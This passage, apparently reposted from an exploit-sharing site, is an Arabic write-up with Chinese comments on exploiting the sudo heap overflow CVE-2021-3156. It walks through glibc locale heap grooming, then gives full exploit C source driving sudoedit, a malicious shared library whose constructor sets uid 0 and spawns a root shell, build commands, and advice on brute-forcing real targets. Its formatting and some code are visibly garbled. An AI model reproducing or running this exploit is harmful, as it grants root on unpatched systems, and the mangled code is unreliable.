  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
  //每次mask 值会-1,这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

المعاملان الرئيسيان هنا هما do_allocate و mask. يشير do_allocate إلى ما إذا كان سيتم تخصيص ذاكرة جديدة بشكل نشط. إذا كان 0، فسيتم البحث مباشرة في القائمة المرتبطة الحالية، ولكن عادة ما تكون القائمة المرتبطة فارغة، فيتم الإرجاع مباشرة. إذا كان do_allocate ليس 0، فسيتم توسيع القائمة المرتبطة.

في استدعاء واحد لدالة _nl_make_l10nflist، سيتم تخصيص 1-2 chunk، أحجامها غير ثابتة. يتم تخصيص الـ chunk الأول بناءً على طول اسم الملف المكون من mask. إذا لم يكن اسم الملف مكررًا، فسيتم تخصيص chunk ثاني، وهو هيكل متغير الطول لإدارة اسم الملف، استخدامه المحدد ليس مهمًا، ولا يمكننا التحكم فيه، لذا يتم تجاهله هنا.

mask يتكون من أربع بتات، تحدد هذه العلامات الأربع اسم الملف لهذه العملية. تمثل العلامات الأربع وجود المحتوى بين الأقواس المربعة:``` dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename

root@kitploit:~
حيث أن `dir(/usr/lib/locale)` و`language(C)` و`filename(اسم متغير البيئة)` كلها ثابتة، والمحتوى داخل الأقواس المربعة يتم إنشاؤه اختيارياً وفقاً لقيمة `mask`. على سبيل المثال:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

إذاً:``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀

root@kitploit:~
بناءً على mask المختلفة، قد يتم إنشاء:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

نظرًا لأن محتوى الإدخال لا يحتوي أساسًا على معلومات بلدية، أي حقل [_territory] فارغ، فإنه بغض النظر عما إذا كانت هذه القناع (mask) تساوي 1 أم لا، فلن يكون هناك هذا الحقل. وهذا يؤدي إلى تكوين أسماء ملفات متطابقة من قناع مختلف، مما يفسر لماذا توجد عملية تحرير وإرجاع عند مواجهة اسم ملف مكرر في الأعلى.

هذا يلخص تحليل تخصيص الكومة بالكامل. يمكن فهمه وتخطيطه وفقًا للحالة الفعلية. في بيئة التصحيح الخاصة بي، المفتاح هو معرفة أنه بناءً على قيمة متغير البيئة المدخلة، يتم إجراء عملية strdup، وأخيرًا يتم تحرير عدة أجزاء (chunks) الناتجة عن strdup دفعة واحدة. هذه العملية هي المفتاح. إذا واجهت بيئة أكثر تعقيدًا، فقد تحتاج إلى استخدام عمليات التحكم في حجم وعدد أجزاء الكومة المحررة بناءً على القناع.

الاستغلال العملي للثغرة

العودة إلى بيئة التصحيح الخاصة بي:

image-20220123134419470

أريد وضع الجزء الضعيف (vuln chunk) قبل الجزء المستهدف (target chunk)، أي قبل الجزء رقم 7، دون إتلاف أي من الأجزاء 1،2،3،4،5،6.

إذن، فكرة تخطيط الكومة هي:

  1. نظرًا لأن الأجزاء 1،2،4،6 كلها بحجم 0x20، فإن الأجزاء بحجم 0x20 تُخصص وتُحرر بكثرة أثناء تشغيل البرنامج، مما يؤدي إلى استهلاك سريع لذاكرة tcache ذات الحجم 0x20. وهذا يعني أنه عند تشغيل وظيفة nss_parse_file، لن يكون هناك تقريبًا أي tcache متاح بحجم 0x20، وسيتم التخصيص من top chunk أو من bins (small/large/unsorted). لذلك لا داعي للقلق بشأنها.

  2. نركز على كيفية إدراج جزء بحجم خاص 0xX0 (لن يُستهلك قبل تخصيص الجزء الضعيف) بين الجزئين 3 و5 من جهة والجزء 7 من جهة أخرى. بشكل تقريبي كما في الشكل:

    image-20220123134611280

  3. نظرًا لأن جميع الأجزاء المشاركة في تخطيط الكومة هي ذاكرة مخصصة بواسطة setlocale، وهذه الأشياء في setlocale غير مفيدة أساسًا، حتى لو تم الكتابة فوقها فلن تسبب تعطلًا، لذلك لا بأس إذا لم يكن الجزء الضعيف والجزء المستهدف متجاورين تمامًا.

  4. لذا، فكرتنا النهائية هي تخصيص جزئين بحجم 0x40 من setlocale، ثم جزء بحجم 0xa0 (وهو الجزء 0xX0 المذكور أعلاه)، ثم جزء بحجم 0x40. سيتم تحريرها بترتيب عكسي، ثم في وظيفة nss_parse_file سيتم تخصيصها بنفس الترتيب. بالإضافة إلى ذلك، سيقوم getline في وظيفة nss_parse_file بتخصيص جزء بحجم 0x80 "لحماية" الجزء 0xa0 الذي أعددناه.

بعد ذلك، نحسب المسافة بين الجزء الذي تمت إزالته والجزء الفائض:

image-20220123114452223

0x5576b5ac7000 - 0x5576b5ac69b0 = 0x650

يمكن تقسيم المعاملات المدخلة البالغ مجموعها 0xa0 إلى جزئين: x من \\ (كل منها سلسلة مستقلة تأخذ بايتين) و 'a' * y (y من الحرف a تشكل سلسلة تأخذ y+1 بايت)، 2x + y = 0xa0 - 0x10 (هنا 0xa0 - 0x10 لأن الجزء الضعيف حجمه 0xa0، لكن التخصيص الفعلي يحتاج إلى 0x10 أقل). سيكون الأمر النهائي بالشكل:``` sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"

root@kitploit:~
احسب x، y بحيث:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

مبدأ المعادلة الأولى هو، نظراً لأن الإدخال يحتوي على عدة \\، فإن كل نسخة ستؤدي إلى تجاوز، وكل تجاوز سيكون أقل ببايت واحد عن السابق، وبالتالي يتم جمع متتالية حسابية. التبسيط يُنتج:``` (x+y)+(x+2y+1)·x/2=0x650 2x+y = 0x90

root@kitploit:~
الحل من جهتي:```
x=11
y=121

أخيرًا، طول الفائض الذي يمكن تحقيقه عبر معلمة sudoedit هو 0x5f9، ويتم استكمال الجزء المتبقي باستخدام \\ في متغيرات البيئة. يتم نسخ متغيرات البيئة مرة واحدة فقط. عند تغطية الهيكل، لاحظ أن سلسلة اسم المكتبة المشتركة (so) تقع عند الإزاحة 0x30 في الهيكل، ويجب تغطية عناصر الهيكل قبل السلسلة بـ \x00. (لن نتعمق في هذا الجزء، فبناء حمولة بطول فائض مناسب ليس له تقنية كبيرة، وأنا هنا أقدم طريقة حساب سريعة عامة.)

ثم قم بتجميع مكتبة so المزيفة، حيث سيتم تنفيذ الدالة المترجمة مباشرة باستخدام ماكرو attribute تلقائيًا عند تحميل الملف الثنائي، أي دالة البناء. كود الاستغلال (exp) كما يلي:

exp

في بيئة التصحيح الخاصة بي، كود الاستغلال (exp) كما يلي:```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>

#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }

void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }

int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2size-3; signed int c=2size-2-offset2; signed int tmp=bb-4ac; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp1.0); signed int A=(0-b+tmp)/(2a); signed int B=(0-b-tmp)/(2a); if(A<0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x2; int len=x+y+(x+y+y+1)*x/2;

root@kitploit:~
while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

}

int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();

root@kitploit:~
execve("/usr/local/bin/sudoedit",argv,envp);

}

root@kitploit:~
lib.c كما يلي:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

أمر التجميع:```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp

root@kitploit:~
نجاح:

image-20220123115529219

### طريقة تعديل الـ exp لبيئة محددة

هو بشكل أساسي لتسهيل البحث والتصحيح الخاصين بك، وليس للهجوم الفعلي. للهجوم الفعلي، يُنصح بالتفجير (brute force)، وتحتاج إلى معرفة النقاط التالية بناءً على البيئة:

1. الحجم القابل للتحكم في vuln، أي free tcache المتبقي في setlocale، والذي لن يتم استهلاكه قبل طلب vuln. تحتاج إلى إيجاد حجم مناسب (يقابل 0xa0 في exp الخاص بي).
2. أين يجب وضع vuln، أي عدد chunks بحجم 0x40 قبل vuln chunk وعددها بعده (يقابل دوال addChunk في دالة main في exp الخاص بي).
3. المسافة من target chunk إلى vuln chunk، أي target chunk addr - vuln chunk addr (يقابل 0x650 في exp الخاص بي).

تعديل هذه النقاط الثلاث سيجعل النجاح شبه مؤكد.

## العوامل المؤثرة على استغلال الثغرة

هناك العديد من العوامل التي تؤثر على تخطيط الكومة. لنفس إصدار sudo، تؤدي خيارات التحويل المختلفة إلى تغيير تخطيط الكومة (فقط بإضافة أو إزالة دالة تشارك في تخصيص الكومة قبل التدفق، فمن المحتمل جداً أن يتغير التخطيط).

تخطيط كومة sudo في الإصدار الموزع وفي النسخة التي تترجمها بنفسك سيكونان مختلفين.

اختلاف ملف تكوين sudo العالمي سيؤثر أيضًا.

الملفات العامة مثل passwd ستؤثر أيضًا.

اختلاف ملف nsswitch.conf سيؤثر.

إصدار glibc

بيئات عالمية أخرى (أو ملفات بيئية)

## إجراءات التخفيف

قم بالترقية إلى أحدث إصدار.

## بعض أوامر التصحيح```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

عرض هيكل service_table``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···

root@kitploit:~
بعد مراجعة أول استدعاء لدالة `nss` بعد تجاوز سعة الكتلة، قم أولاً بوضع نقطة توقف عند مصدر التجاوز:```
b policy_check  #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

بعض الدوال الرئيسية وإخراج الكود``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/

b setlocale b nss_parse_file b nss_load_library

root@kitploit:~
## المراجع

مدونة أحد الخبراء داخل الشركة

52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156
تنزيل الأداة